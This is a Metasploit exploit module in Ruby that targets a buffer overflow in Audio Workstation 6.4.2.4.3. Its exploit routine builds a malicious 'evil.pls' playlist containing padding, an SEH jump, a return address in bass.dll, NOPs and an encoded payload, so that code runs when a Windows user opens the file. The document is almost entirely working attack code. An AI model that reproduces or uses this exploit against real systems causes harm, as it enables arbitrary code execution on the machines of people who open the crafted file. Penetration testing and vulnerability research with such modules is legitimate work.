require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Remote::Seh
       
 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Audio Workstation 6.4.2.4.3 pls Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in Audio Workstation 6.4.2.4.3.
     When opening a malicious pls file with the Audio Workstation,
     a remote attacker could overflow a buffer and execute
     arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'germaya_x', 'dookie', ],
   'Version'        => '$Revision: 7724 $',
   'References'     =>
    [
     [ 'URL', 'http://www.exploit-db.com/exploits/10353' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
    },     
   'Payload'        =>
    {
     'Space'    => 4100,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500,
     'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
     'DisableNops'   =>  'True',
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [ 'Windows Universal', { 'Ret' => 0x1101031E } ], # p/p/r in bass.dll
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Dec 08 2009',
   'DefaultTarget'  => 0))

                        register_options(
                                [
                                        OptString.new('FILENAME', [ true, 'The file name.',  'evil.pls']),
                                ], self.class)

 end

 def exploit

  sploit = rand_text_alpha_upper(1308)
  sploit << "\xeb\x16\x90\x90"
  sploit << [target.ret].pack('V')
  sploit << make_nops(32)
  sploit << payload.encoded
  sploit << rand_text_alpha_upper(4652 - payload.encoded.length)

  pls = sploit
 
  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(pls)
  
 end

end